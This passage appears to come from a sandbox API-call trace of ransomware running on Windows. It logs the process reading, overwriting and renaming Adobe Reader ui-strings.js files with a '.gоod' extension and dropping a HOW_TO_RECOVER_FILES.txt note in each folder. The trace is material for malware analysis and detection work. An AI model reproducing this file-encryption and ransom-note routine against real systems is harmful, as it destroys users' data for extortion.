dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0215.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0215.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0215.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x478 [0215.421] GetFileType (hFile=0x478) returned 0x1 [0215.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0215.422] GetFileType (hFile=0x478) returned 0x1 [0215.422] WriteFile (in: hFile=0x478, lpBuffer=0x39dfa58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x39dfa58*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0215.423] CloseHandle (hObject=0x478) returned 1 [0215.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0215.424] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl", lpFilePart=0x0) returned 0x77 [0215.424] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0216.092] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.585] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0216.585] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.585] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0216.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0216.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0216.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0216.585] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl", lpFilePart=0x0) returned 0x77 [0216.585] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.585] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.585] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0216.586] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0216.586] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0216.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0216.586] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0216.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0216.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36adeb8 | out: lpFileInformation=0x36adeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f)) returned 1 [0216.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0216.586] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0216.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0216.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0216.586] GetFileType (hFile=0x824) returned 0x1 [0216.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0216.587] GetFileType (hFile=0x824) returned 0x1 [0216.587] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x71f [0216.587] ReadFile (in: hFile=0x824, lpBuffer=0x36ae980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x36ae980*, lpNumberOfBytesRead=0x203eb258*=0x71f, lpOverlapped=0x0) returned 1 [0216.588] CloseHandle (hObject=0x824) returned 1 [0216.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0216.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0216.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0216.615] GetFileType (hFile=0x824) returned 0x1 [0216.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0216.615] GetFileType (hFile=0x824) returned 0x1 [0216.615] WriteFile (in: hFile=0x824, lpBuffer=0x3728470*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3728470*, lpNumberOfBytesWritten=0x203eb168*=0x720, lpOverlapped=0x0) returned 1 [0216.616] CloseHandle (hObject=0x824) returned 1 [0216.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0216.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0216.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0216.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7d54aab4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0216.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0216.617] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\ui-strings.js.gоod")) returned 1 [0216.617] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0216.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0216.617] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0216.618] GetFileType (hFile=0x824) returned 0x1 [0216.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0216.618] GetFileType (hFile=0x824) returned 0x1 [0216.619] WriteFile (in: hFile=0x824, lpBuffer=0x372bd80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x372bd80*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0216.620] CloseHandle (hObject=0x824) returned 1 [0216.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0216.620] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x77 [0216.620] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0216.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.621] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0216.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0216.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0216.621] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x77 [0216.621] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0216.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0216.622] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0216.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0216.622] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0216.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0216.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x373bc58 | out: lpFileInformation=0x373bc58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716)) returned 1 [0216.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0216.622] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0216.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0216.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0216.622] GetFileType (hFile=0x824) returned 0x1 [0216.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0216.622] GetFileType (hFile=0x824) returned 0x1 [0216.623] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x716 [0216.623] ReadFile (in: hFile=0x824, lpBuffer=0x373c718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x373c718*, lpNumberOfBytesRead=0x203eb258*=0x716, lpOverlapped=0x0) returned 1 [0217.288] CloseHandle (hObject=0x824) returned 1 [0217.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 